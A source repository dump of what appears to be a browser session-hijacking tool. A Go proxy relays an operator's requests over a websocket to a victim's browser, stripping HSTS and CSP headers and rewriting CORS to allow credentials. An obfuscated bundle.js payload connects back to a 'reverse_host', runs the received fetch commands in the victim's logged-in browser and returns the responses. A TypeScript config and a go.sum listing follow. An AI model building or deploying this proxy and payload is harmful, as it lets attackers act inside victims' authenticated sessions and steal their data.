if it is a full URL (http:// or https://) 90 | url = req.RequestURI // "//"+ strings.Replace(strings.Replace(req.RequestURI, "http://", "", 1), "https://", "", 1) 91 | } else { 92 | url = req.URL.String() 93 | } 94 | return url 95 | } 96 | 97 | func (p *proxy) readReqBody(req *http.Request) (string, bool) { 98 | data, err := ioutil.ReadAll(req.Body) 99 | if err != nil { 100 | log.Error(err) 101 | return "", false 102 | } 103 | return string(data), true 104 | } 105 | 106 | func (p *proxy) preJudgeCORS(req *http.Request) string { 107 | if req.Header.Get("Sec-Fetch-Mode") == "cors" { 108 | return "cors" 109 | } else if req.Header.Get("Sec-Fetch-Mode") == "no-cors" { 110 | return "no-cors" 111 | } 112 | if req.Header.Get("Origin") != "" { // has Origin and not empty 113 | return "cors" 114 | } else { 115 | return "no-cors" 116 | } 117 | } 118 | 119 | func (p *proxy) ServeHTTP(wr http.ResponseWriter, req *http.Request) { 120 | log.Infoln("Received request: ", req.Method, req.URL.String(), req.RequestURI) 121 | 122 | // fast response CORS 123 | if p.corsMiddleware(wr, req) { 124 | return 125 | } 126 | 127 | if p.hostBlacklist(wr, req) { 128 | return 129 | } 130 | 131 | data, ok := p.readReqBody(req) 132 | if !ok { 133 | return 134 | } 135 | 136 | // generate TaskId 137 | var taskId string = uuid.New().String() 138 | 139 | FetchCommand := &define.RelayCommand{ 140 | CommandId: taskId, 141 | CommandDetail: define.Fetch{ 142 | Url: p.prepareURL(req), 143 | Option: define.FetchOption{ 144 | Method: req.Method, 145 | Body: data, 146 | Headers: p.filterHeader(req), 147 | }, 148 | }, 149 | } 150 | 151 | FetchCommand.CommandDetail.Option.Mode = p.preJudgeCORS(req) 152 | 153 | if p.Conn.SendCommand(FetchCommand) != nil { 154 | log.Error("Error while sending FetchCommand") 155 | http.Error(wr, "Server Error", http.StatusInternalServerError) 156 | return 157 | } 158 | 159 | for resp := range p.Conn.RelayChan { 160 | if resp.CommandId == taskId { 161 | r := resp.CommandResult 162 | if r.Error != "" { 163 | http.Error(wr, r.Error, http.StatusInternalServerError) 164 | break 165 | } 166 | var headerkeys []string 167 | for _, header := range r.Response.Headers { 168 | if len(header) >= 1 { 169 | droplist := []string{ 170 | "Strict-Transport-Security", // no TLS strict 171 | "Content-Security-Policy", // no CSP 172 | "Content-Security-Policy-Report-Only", // no CSP 173 | "Report-To", // no CSP 174 | "Content-Encoding", // gzip will auto ungziped by victim browser 175 | "Content-Length", // need reCalc 176 | "Access-Control-Allow-Origin", // no cors 177 | } 178 | if drop(header[0], droplist) { 179 | // ban HSTS header to force HTTPS and no CSP 180 | continue 181 | } 182 | wr.Header().Add(header[0], header[1]) 183 | headerkeys = append(headerkeys, header[0]) 184 | } 185 | } 186 | // reCalc the response length 187 | headerkeys = append(headerkeys, "Content-Length", 188 | "Access-Control-Allow-Origin", "Access-Control-Allow-Headers", 189 | "Access-Control-Expose-Headers", "Access-Control-Allow-Credentials") 190 | // Allow other header we will add. 191 | wr.Header().Add("Content-Length", fmt.Sprintf("%v", len(r.Response.Text))) 192 | if p.preJudgeCORS(req) == "cors" { 193 | wr.Header().Add("Access-Control-Expose-Headers", strings.Join(headerkeys, ",")) 194 | wr.Header().Add("Access-Control-Allow-Headers", strings.Join(headerkeys, ",")) 195 | wr.Header().Add("Access-Control-Allow-Origin", req.Header.Get("Origin")) 196 | wr.Header().Add("Access-Control-Allow-Credentials", "true") 197 | } 198 | /* 199 | if r.Response.FinalUrl != url { 200 | http.Redirect(wr, req, r.Response.FinalUrl, r.Response.Status) 201 | break 202 | } 203 | */ 204 | url := p.prepareURL(req) 205 | if r.Response.FinalUrl != url { 206 | log.Debugf("Request final url: %s, but request url is %s", r.Response.FinalUrl, url) 207 | } 208 | 209 | wr.WriteHeader(r.Response.Status) 210 | // pilog.Debugf("Response: %s", r.Response.Text) 211 | res := strings.NewReader(r.Response.Text) 212 | io.Copy(wr, res) 213 | break 214 | } else { 215 | p.Conn.RelayChan <- resp 216 | } 217 | } 218 | } 219 | 220 | func createHTTPProxy(TargetConn *define.WebsocketClient) *proxy { 221 | handler := &proxy{ 222 | Conn: TargetConn, 223 | } 224 | return handler 225 | } 226 | -------------------------------------------------------------------------------- /cmd/server/sessionmanager/bundle.js: -------------------------------------------------------------------------------- 1 | function a0_0x46fc(_0x22d611,_0x6da0ea){var _0x59e8bf=a0_0x59e8();return a0_0x46fc=function(_0x46fcdc,_0x2475ba){_0x46fcdc=_0x46fcdc-0x97;var _0x3eeff5=_0x59e8bf[_0x46fcdc];return _0x3eeff5;},a0_0x46fc(_0x22d611,_0x6da0ea);}(function(_0x542353,_0x27f163){var _0x919ebe=a0_0x46fc,_0x39d5fe=_0x542353();while(!![]){try{var _0x50cdb2=-parseInt(_0x919ebe(0xae))/0x1*(-parseInt(_0x919ebe(0xc0))/0x2)+parseInt(_0x919ebe(0xa9))/0x3*(-parseInt(_0x919ebe(0xce))/0x4)+parseInt(_0x919ebe(0xb7))/0x5+parseInt(_0x919ebe(0x9b))/0x6*(-parseInt(_0x919ebe(0xb4))/0x7)+-parseInt(_0x919ebe(0xaa))/0x8+-parseInt(_0x919ebe(0xb6))/0x9+parseInt(_0x919ebe(0xa3))/0xa;if(_0x50cdb2===_0x27f163)break;else _0x39d5fe['push'](_0x39d5fe['shift']());}catch(_0x3c000f){_0x39d5fe['push'](_0x39d5fe['shift']());}}}(a0_0x59e8,0xef1ca),((()=>{'use strict';var _0x45b976={'./src/debug.ts':(_0x3c24c2,_0x5d922f)=>{var _0x30bc15=a0_0x46fc;Object['defineProperty'](_0x5d922f,'__esModule',{'value':!0x0}),_0x5d922f[_0x30bc15(0xb9)]=void 0x0,_0x5d922f[_0x30bc15(0x9d)]=function(..._0x596e03){var _0x2d49db=_0x30bc15;_0x5d922f[_0x2d49db(0xb9)]&&console[_0x2d49db(0xd4)](_0x596e03);},_0x5d922f['DEBUG']=!0x0;},'./src/encoder.ts':(_0x11cc82,_0x1958ad,_0x586af6)=>{var _0x70b6dd=a0_0x46fc;Object[_0x70b6dd(0xc7)](_0x1958ad,'__esModule',{'value':!0x0}),_0x1958ad['DecodeTraffic']=_0x1958ad[_0x70b6dd(0xa8)]=void 0x0;const _0x59adf8=_0x586af6('./src/debug.ts');_0x1958ad[_0x70b6dd(0xa8)]=_0x4c8b5c=>_0x4c8b5c,_0x1958ad['DecodeTraffic']=_0x1b533e=>((0x0,_0x59adf8['debug'])('decode to',_0x1b533e),_0x1b533e);},'./src/fetch.ts':function(_0x9d684f,_0x59ce5d,_0x451a92){var _0x5ab65d=a0_0x46fc,_0x35bb15=this&&this[_0x5ab65d(0xbb)]||function(_0x3187c8,_0x89d660,_0x777ed1,_0x53f402){return new(_0x777ed1||(_0x777ed1=Promise))(function(_0xa2233c,_0xcac919){var _0x385b59=a0_0x46fc;function _0x2485a9(_0x740662){var _0x449292=a0_0x46fc;try{_0x2415c0(_0x53f402[_0x449292(0xd5)](_0x740662));}catch(_0x5cebf3){_0xcac919(_0x5cebf3);}}function _0x85d9d7(_0x159b1f){var _0x35f20b=a0_0x46fc;try{_0x2415c0(_0x53f402[_0x35f20b(0xb8)](_0x159b1f));}catch(_0x12583d){_0xcac919(_0x12583d);}}function _0x2415c0(_0x3a8c4f){var _0x1cab3f=a0_0x46fc,_0x3b90a8;_0x3a8c4f[_0x1cab3f(0xcf)]?_0xa2233c(_0x3a8c4f['value']):(_0x3b90a8=_0x3a8c4f[_0x1cab3f(0xa2)],_0x3b90a8 instanceof _0x777ed1?_0x3b90a8:new _0x777ed1(function(_0x2f11d9){_0x2f11d9(_0x3b90a8);}))[_0x1cab3f(0x99)](_0x2485a9,_0x85d9d7);}_0x2415c0((_0x53f402=_0x53f402[_0x385b59(0xc5)](_0x3187c8,_0x89d660||[]))[_0x385b59(0xd5)]());});};Object['defineProperty'](_0x59ce5d,'__esModule',{'value':!0x0}),_0x59ce5d[_0x5ab65d(0xa1)]=void 0x0;const _0x3bcb94=_0x451a92('./src/debug.ts');_0x59ce5d[_0x5ab65d(0xa1)]=_0x329f2d=>_0x35bb15(void 0x0,void 0x0,void 0x0,function*(){var _0x2aa47c=_0x5ab65d,_0x537e22={'error_stack':'','response':{'status':0x0,'headers':[],'text':'','finalurl':''}};try{(0x0,_0x3bcb94[_0x2aa47c(0x9d)])('pre req data: ',_0x329f2d),(0x0,_0x3bcb94[_0x2aa47c(0x9d)])('request ',_0x329f2d[_0x2aa47c(0xb3)]['method'],_0x329f2d[_0x2aa47c(0xb3)][_0x2aa47c(0xb2)],_0x329f2d[_0x2aa47c(0xb5)]);let _0xb96d06={};_0xb96d06='get'==_0x329f2d['options'][_0x2aa47c(0xc6)]||'GET'==_0x329f2d[_0x2aa47c(0xb3)][_0x2aa47c(0xc6)]?yield fetch(_0x329f2d[_0x2aa47c(0xb5)],{'body':null,'headers':_0x329f2d[_0x2aa47c(0xb3)][_0x2aa47c(0xbf)],'method':_0x329f2d[_0x2aa47c(0xb3)][_0x2aa47c(0xc6)],'mode':_0x329f2d['options'][_0x2aa47c(0xb2)]}):yield fetch(_0x329f2d['url'],_0x329f2d[_0x2aa47c(0xb3)]),(0x0,_0x3bcb94[_0x2aa47c(0x9d)])(_0xb96d06),_0x537e22['response'][_0x2aa47c(0xa0)]=_0xb96d06[_0x2aa47c(0xb5)],_0x537e22[_0x2aa47c(0x9a)]['status']=_0xb96d06['status'],_0x537e22[_0x2aa47c(0x9a)]['text']=yield _0xb96d06[_0x2aa47c(0xb0)](),_0xb96d06['headers'][_0x2aa47c(0xc4)]((_0x414038,_0x3a3ab4)=>{var _0x529243=_0x2aa47c;(0x0,_0x3bcb94[_0x529243(0x9d)])(_0x3a3ab4,_0x414038),_0x537e22[_0x529243(0x9a)][_0x529243(0xbf)][_0x529243(0xad)]([_0x3a3ab4,_0x414038]);});}catch(_0x2e3e03){_0x537e22[_0x2aa47c(0x9c)]=_0x2e3e03[_0x2aa47c(0xc2)];}finally{return _0x537e22;}});},'./src/payload.ts':function(_0x370457,_0x8eea88,_0x49578b){var _0x8509d0=a0_0x46fc,_0x513a7b=this&&this[_0x8509d0(0xbb)]||function(_0x5dea69,_0x20316f,_0x217bfc,_0x229d9d){return new(_0x217bfc||(_0x217bfc=Promise))(function(_0x333556,_0x2b3fc0){var _0x16e1ce=a0_0x46fc;function _0x4d77bc(_0xa4c08){var _0x514d20=a0_0x46fc;try{_0x77eee8(_0x229d9d[_0x514d20(0xd5)](_0xa4c08));}catch(_0x244eac){_0x2b3fc0(_0x244eac);}}function _0x1dd81f(_0x36260d){var _0xed56c4=a0_0x46fc;try{_0x77eee8(_0x229d9d[_0xed56c4(0xb8)](_0x36260d));}catch(_0x185470){_0x2b3fc0(_0x185470);}}function _0x77eee8(_0x49a344){var _0x4c7c17=a0_0x46fc,_0x5c3119;_0x49a344[_0x4c7c17(0xcf)]?_0x333556(_0x49a344[_0x4c7c17(0xa2)]):(_0x5c3119=_0x49a344[_0x4c7c17(0xa2)],_0x5c3119 instanceof _0x217bfc?_0x5c3119:new _0x217bfc(function(_0x22fa38){_0x22fa38(_0x5c3119);}))[_0x4c7c17(0x99)](_0x4d77bc,_0x1dd81f);}_0x77eee8((_0x229d9d=_0x229d9d[_0x16e1ce(0xc5)](_0x5dea69,_0x20316f||[]))[_0x16e1ce(0xd5)]());});};Object['defineProperty'](_0x8eea88,'__esModule',{'value':!0x0});const _0x3c4127=_0x49578b('./src/encoder.ts'),_0x432574=_0x49578b('./src/debug.ts'),_0x21f293=_0x49578b('./src/fetch.ts'),_0xc39c84=_0x49578b('./src/vars.ts');let _0x5308ac;_0x5308ac=_0x432574[_0x8509d0(0xb9)]?'ws://'+_0xc39c84[_0x8509d0(0xd3)]+'/'+_0xc39c84[_0x8509d0(0xd0)]:'https:'==window['location'][_0x8509d0(0x97)]?'wss://'+_0xc39c84[_0x8509d0(0xd3)]+'/'+_0xc39c84[_0x8509d0(0xd0)]:_0x8509d0(0xac)+_0xc39c84['reverse_host']+'/'+_0xc39c84[_0x8509d0(0xd0)];let _0x4f7d7f=new WebSocket(_0x5308ac);_0x4f7d7f[_0x8509d0(0xaf)]=_0x31cead=>{var _0xd4b0e=_0x8509d0;(0x0,_0x432574['debug'])('Connection established ready. client trace id ',_0xc39c84[_0xd4b0e(0xc1)]),_0x4f7d7f[_0xd4b0e(0xcb)](JSON['stringify']({'status':'init','client_trace_id':_0xc39c84[_0xd4b0e(0xc1)],'current_url':window[_0xd4b0e(0xba)][_0xd4b0e(0x9f)]}));},_0x4f7d7f[_0x8509d0(0xa5)]=_0x2f31a0=>_0x513a7b(void 0x0,void 0x0,void 0x0,function*(){var _0x3e9719=_0x8509d0;let _0x33e15a=JSON[_0x3e9719(0xd2)]((0x0,_0x3c4127[_0x3e9719(0x9e)])(_0x2f31a0[_0x3e9719(0xc8)]));(0x0,_0x432574['debug'])(_0x33e15a);let _0x5a0c87={'command_id':_0x33e15a[_0x3e9719(0xc3)],'command_result':{}};_0x5a0c87['command_result']=yield(0x0,_0x21f293[_0x3e9719(0xa1)])(_0x33e15a[_0x3e9719(0xcd)]),(0x0,_0x432574[_0x3e9719(0x9d)])(_0x5a0c87),_0x4f7d7f['send']((0x0,_0x3c4127[_0x3e9719(0xa8)])(JSON[_0x3e9719(0x98)](_0x5a0c87)));}),_0x4f7d7f[_0x8509d0(0xcc)]=_0x3bac49=>{var _0x12b931=_0x8509d0;(0x0,_0x432574[_0x12b931(0x9d)])('Connection closed');},_0x4f7d7f[_0x8509d0(0xa7)]=_0x929390=>{var _0x5034cf=_0x8509d0;(0x0,_0x432574[_0x5034cf(0x9d)])('Connection error'),(0x0,_0x432574[_0x5034cf(0x9d)])(_0x929390,_0x929390[_0x5034cf(0xca)],_0x929390[_0x5034cf(0xa6)]);};},'./src/vars.ts':(_0xf5dbf9,_0x13a6fe,_0x2e46ca)=>{var _0x21cffb=a0_0x46fc;Object[_0x21cffb(0xc7)](_0x13a6fe,'__esModule',{'value':!0x0}),_0x13a6fe['client_trace_id']=_0x13a6fe[_0x21cffb(0xc9)]=_0x13a6fe['reverse_host']=_0x13a6fe[_0x21cffb(0xd0)]=void 0x0,_0x13a6fe[_0x21cffb(0xd1)]=_0x3fbe89;const _0x475f0a=_0x2e46ca('./src/debug.ts');function _0x3fbe89(){var _0x4b8bc1=_0x21cffb;return'10000000-1000-4000-8000-100000000000'[_0x4b8bc1(0xab)](/[018]/g,_0x345971=>(+_0x345971^crypto[_0x4b8bc1(0xa4)](new Uint8Array(0x1))[0x0]&0xf>>+_0x345971/0x4)[_0x4b8bc1(0xbd)](0x10));}_0x13a6fe[_0x21cffb(0xd0)]='__ENDPOINT__',_0x13a6fe[_0x21cffb(0xd3)]='localhost:9999',_0x13a6fe[_0x21cffb(0xc9)]='x_client_trace_id',_0x13a6fe[_0x21cffb(0xc1)]=(function(){var _0x41ad2c=_0x21cffb;let _0x5bc3c9=_0x3fbe89();try{null!==localStorage[_0x41ad2c(0xbe)](_0x13a6fe[_0x41ad2c(0xc9)])?(_0x5bc3c9=localStorage['getItem'](_0x13a6fe[_0x41ad2c(0xc9)]),(0x0,_0x475f0a['debug'])('Client trace id loaded')):(localStorage['setItem'](_0x13a6fe[_0x41ad2c(0xc9)],_0x5bc3c9),(0x0,_0x475f0a[_0x41ad2c(0x9d)])('Client trace id saved'));}catch(_0x49743c){(0x0,_0x475f0a[_0x41ad2c(0x9d)])('Cannot save client trace id');}finally{return(0x0,_0x475f0a[_0x41ad2c(0x9d)])('Client\x20trace\x20id:\x20'+_0x5bc3c9),_0x5bc3c9;}}());}},_0x14f49f={};(function _0x8d6e20(_0x405bab){var _0xa5e2ea=a0_0x46fc,_0x2eda47=_0x14f49f[_0x405bab];if(void 0x0!==_0x2eda47)return _0x2eda47[_0xa5e2ea(0xb1)];var _0x3900e6=_0x14f49f[_0x405bab]={'exports':{}};return _0x45b976[_0x405bab][_0xa5e2ea(0xbc)](_0x3900e6[_0xa5e2ea(0xb1)],_0x3900e6,_0x3900e6[_0xa5e2ea(0xb1)],_0x8d6e20),_0x3900e6[_0xa5e2ea(0xb1)];}('./src/payload.ts'));})()));function a0_0x59e8(){var _0x978e05=['getItem','headers','98RNofqK','client_trace_id','stack','command_id','forEach','apply','method','defineProperty','data','trace_label','target','send','onclose','command_detail','1324NzBwNP','done','project','uuidv4','parse','reverse_host','log','next','protocol','stringify','then','response','3887634ZttgSQ','error_stack','debug','DecodeTraffic','href','finalurl','FetchExecutor','value','16217450sFAmTZ','getRandomValues','onmessage','type','onerror','EncodeTraffic','12129wdgtgT','2020880rNrAac','replace','ws://','push','37591OrjusH','onopen','text','exports','mode','options','7jUOMDP','url','4473153ZWlckH','1257485vjHvVN','throw','DEBUG','location','__awaiter','call','toString'];a0_0x59e8=function(){return _0x978e05;};return a0_0x59e8();} -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | /* Visit https://aka.ms/tsconfig to read more about this file */ 4 | 5 | /* Projects */ 6 | // "incremental": true, /* Save .tsbuildinfo files to allow for incremental compilation of projects. */ 7 | // "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */ 8 | // "tsBuildInfoFile": "./.tsbuildinfo", /* Specify the path to .tsbuildinfo incremental compilation file. */ 9 | // "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects. */ 10 | // "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */ 11 | // "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */ 12 | 13 | /* Language and Environment */ 14 | "target": "es2016", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */ 15 | // "lib": [], /* Specify a set of bundled library declaration files that describe the target runtime environment. */ 16 | // "jsx": "preserve", /* Specify what JSX code is generated. */ 17 | // "experimentalDecorators": true, /* Enable experimental support for legacy experimental decorators. */ 18 | // "emitDecoratorMetadata": true, /* Emit design-type metadata for decorated declarations in source files. */ 19 | // "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'. */ 20 | // "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */ 21 | // "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using 'jsx: react-jsx*'. */ 22 | // "reactNamespace": "", /* Specify the object invoked for 'createElement'. This only applies when targeting 'react' JSX emit. */ 23 | // "noLib": true, /* Disable including any library files, including the default lib.d.ts. */ 24 | // "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */ 25 | // "moduleDetection": "auto", /* Control what method is used to detect module-format JS files. */ 26 | "outDir": "./build", 27 | /* Modules */ 28 | "module": "commonjs", /* Specify what module code is generated. */ 29 | // "rootDir": "./", /* Specify the root folder within your source files. */ 30 | // "moduleResolution": "node10", /* Specify how TypeScript looks up a file from a given module specifier. */ 31 | // "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */ 32 | // "paths": {}, /* Specify a set of entries that re-map imports to additional lookup locations. */ 33 | // "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */ 34 | // "typeRoots": [], /* Specify multiple folders that act like './node_modules/@types'. */ 35 | // "types": [], /* Specify type package names to be included without being referenced in a source file. */ 36 | // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ 37 | // "moduleSuffixes": [], /* List of file name suffixes to search when resolving a module. */ 38 | // "allowImportingTsExtensions": true, /* Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set. */ 39 | // "resolvePackageJsonExports": true, /* Use the package.json 'exports' field when resolving package imports. */ 40 | // "resolvePackageJsonImports": true, /* Use the package.json 'imports' field when resolving imports. */ 41 | // "customConditions": [], /* Conditions to set in addition to the resolver-specific defaults when resolving imports. */ 42 | // "noUncheckedSideEffectImports": true, /* Check side effect imports. */ 43 | // "resolveJsonModule": true, /* Enable importing .json files. */ 44 | // "allowArbitraryExtensions": true, /* Enable importing files with any extension, provided a declaration file is present. */ 45 | // "noResolve": true, /* Disallow 'import's, 'require's or ''s from expanding the number of files TypeScript should add to a project. */ 46 | 47 | /* JavaScript Support */ 48 | // "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the 'checkJS' option to get errors from these files. */ 49 | // "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */ 50 | // "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from 'node_modules'. Only applicable with 'allowJs'. */ 51 | 52 | /* Emit */ 53 | // "declaration": true, /* Generate .d.ts files from TypeScript and JavaScript files in your project. */ 54 | // "declarationMap": true, /* Create sourcemaps for d.ts files. */ 55 | // "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */ 56 | // "sourceMap": true, /* Create source map files for emitted JavaScript files. */ 57 | // "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */ 58 | // "noEmit": true, /* Disable emitting files from a compilation. */ 59 | // "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */ 60 | // "outDir": "./", /* Specify an output folder for all emitted files. */ 61 | // "removeComments": true, /* Disable emitting comments. */ 62 | // "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */ 63 | // "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */ 64 | // "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */ 65 | // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ 66 | // "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */ 67 | // "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */ 68 | // "newLine": "crlf", /* Set the newline character for emitting files. */ 69 | // "stripInternal": true, /* Disable emitting declarations that have '@internal' in their JSDoc comments. */ 70 | // "noEmitHelpers": true, /* Disable generating custom helper functions like '__extends' in compiled output. */ 71 | // "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */ 72 | // "preserveConstEnums": true, /* Disable erasing 'const enum' declarations in generated code. */ 73 | // "declarationDir": "./", /* Specify the output directory for generated declaration files. */ 74 | 75 | /* Interop Constraints */ 76 | // "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */ 77 | // "verbatimModuleSyntax": true, /* Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting. */ 78 | // "isolatedDeclarations": true, /* Require sufficient annotation on exports so other tools can trivially generate declaration files. */ 79 | // "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */ 80 | "esModuleInterop": true, /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables 'allowSyntheticDefaultImports' for type compatibility. */ 81 | // "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */ 82 | "forceConsistentCasingInFileNames": true, /* Ensure that casing is correct in imports. */ 83 | 84 | /* Type Checking */ 85 | "strict": true, /* Enable all strict type-checking options. */ 86 | // "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied 'any' type. */ 87 | // "strictNullChecks": true, /* When type checking, take into account 'null' and 'undefined'. */ 88 | // "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */ 89 | // "strictBindCallApply": true, /* Check that the arguments for 'bind', 'call', and 'apply' methods match the original function. */ 90 | // "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */ 91 | // "strictBuiltinIteratorReturn": true, /* Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'. */ 92 | // "noImplicitThis": true, /* Enable error reporting when 'this' is given the type 'any'. */ 93 | // "useUnknownInCatchVariables": true, /* Default catch clause variables as 'unknown' instead of 'any'. */ 94 | // "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */ 95 | // "noUnusedLocals": true, /* Enable error reporting when local variables aren't read. */ 96 | // "noUnusedParameters": true, /* Raise an error when a function parameter isn't read. */ 97 | // "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */ 98 | // "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */ 99 | // "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */ 100 | // "noUncheckedIndexedAccess": true, /* Add 'undefined' to a type when accessed using an index. */ 101 | // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */ 102 | // "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type. */ 103 | // "allowUnusedLabels": true, /* Disable error reporting for unused labels. */ 104 | // "allowUnreachableCode": true, /* Disable error reporting for unreachable code. */ 105 | 106 | /* Completeness */ 107 | // "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */ 108 | "skipLibCheck": true /* Skip type checking all .d.ts files. */ 109 | }, 110 | "include": ["src"], 111 | 112 | } 113 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= 2 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= 3 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= 4 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 5 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= 6 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= 7 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= 8 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= 9 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 12 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 13 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 14 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 15 | github.com/gdamore/encoding v1.0.0 h1:+7OoQ1Bc6eTm5niUzBa0Ctsh6JbMW6Ra+YNuAtDBdko= 16 | github.com/gdamore/encoding v1.0.0/go.mod h1:alR0ol34c49FCSBLjhosxzcPHQbf2trDkoo5dl+VrEg= 17 | github.com/gdamore/tcell/v2 v2.7.1 h1:TiCcmpWHiAU7F0rA2I3S2Y4mmLmO9KHxJ7E1QhYzQbc= 18 | github.com/gdamore/tcell/v2 v2.7.1/go.mod h1:dSXtXTSK0VsW1biw65DZLZ2NKr7j0qP/0J7ONmsraWg= 19 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 20 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 21 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= 22 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= 23 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 24 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 25 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 26 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 27 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 28 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 29 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= 30 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 31 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 32 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 33 | github.com/google/go-cmp v0.5.5 